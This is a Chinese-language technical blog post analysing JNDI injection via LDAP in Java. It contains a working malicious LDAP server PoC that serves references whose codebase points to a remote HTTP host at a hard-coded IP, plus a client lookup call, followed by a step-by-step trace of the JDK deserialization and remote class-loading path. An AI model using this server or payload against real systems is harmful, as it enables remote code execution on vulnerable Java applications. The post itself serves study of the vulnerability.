目录

JNDI 之 LDAP 过程原理

JNDI 之 LDAP 过程原理

前言:在 Java JNDI 注入中只分析了 RMI 协议的 jndi 注入,下面简单分析以下 ldap 协议的过程。

poc

package org.example;  
  
  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPException;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.MalformedURLException;  
import java.net.URL;  
  
public class LDAP_Server {  
  
    private static final String LDAP_BASE = "dc=gaoren,dc=com";  
  
    public static void main ( String[] tmp_args ) {  
        String[] args=new String[]{"http://47.109.156.81:6666/#LDAP_POC"};  
        int port = 9999;  
  
        try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
            config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen", //$NON-NLS-1$  
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$  
                    port,  
                    ServerSocketFactory.getDefault(),  
                    SocketFactory.getDefault(),  
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));  
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$  
            ds.startListening();  
  
        }  
        catch ( Exception e ) {  
            e.printStackTrace();  
        }  
    }  
  
    private static class OperationInterceptor extends InMemoryOperationInterceptor {  
  
        private URL codebase;  
  
        public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
        }  
  
        @Override  
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
            Entry e = new Entry(base);  
            try {  
                sendResult(result, base, e);  
            }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
            }  
        }  
  
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
            e.addAttribute("javaClassName", "foo");  
            String cbstring = this.codebase.toString();  
            int refPos = cbstring.indexOf('#');  
            if ( refPos > 0 ) {  
                cbstring = cbstring.substring(0, refPos);  
            }  
            e.addAttribute("javaCodeBase", cbstring);  
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$  
            e.addAttribute("javaFactory", this.codebase.getRef());  
            result.sendSearchEntry(e);  
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
        }  
    }  
}

客户端

import javax.naming.InitialContext;  
  
public class testjndi {  
    public static void main(String[]args) throws Exception{  
        String string = "ldap://localhost:9999/LDAP_POC";  
        InitialContext initialContext = new InitialContext();  
        initialContext.lookup(string);  
    }  
}

过程分析

反序列化

经过简单的调用同样直接来到 getURLObject 方法寻找协议对应工厂,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401203819910.png

然后来到 ldapURLContextFactory.getObjectInstance 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401203847891.png

就是实列化一个 ldapURLContext 对象,一直返回,看到会调用到 ldapURLContext.lookup 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401203958609.png

继续调用其父类的 lookup 方法,同样是 GenericURLContext.lookup 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401204048790.png

然后这里是调用 LdapCtx.lookup 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401204208121.png

继续调用其 p_lookup 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401204320030.png

接着又是 c_lookup 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401204426189.png

同样调用了 decodeObject 方法,只 rmi 中是调用到了 RegistryContext.decodeObject,这里是 Obj.decodeObject

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401204540215.png

有deserializeObject 函数,在调用前有个 if (!VersionHelper.isSerialDataAllowed()) 条件,不过这里是满足的,继续跟进

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401204924522.png

最后进行了反序列化,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401204955847.png

加载远程类

接着 c_lookup 方法看,除了调用 decodeObject,在下面还调用了 DirectoryManager.getObjectInstance() 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401205725143.png

跟进 getObjectFactoryFromReference 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401205851325.png

看到同样进行了远程类加载,然后实列化,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401210023570.png

不过由于我这里是 jdk17 版本,trustURLClassbase 为 false,所以没有成功加载

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401205950821.png

低版本最后就就能进行远程加载。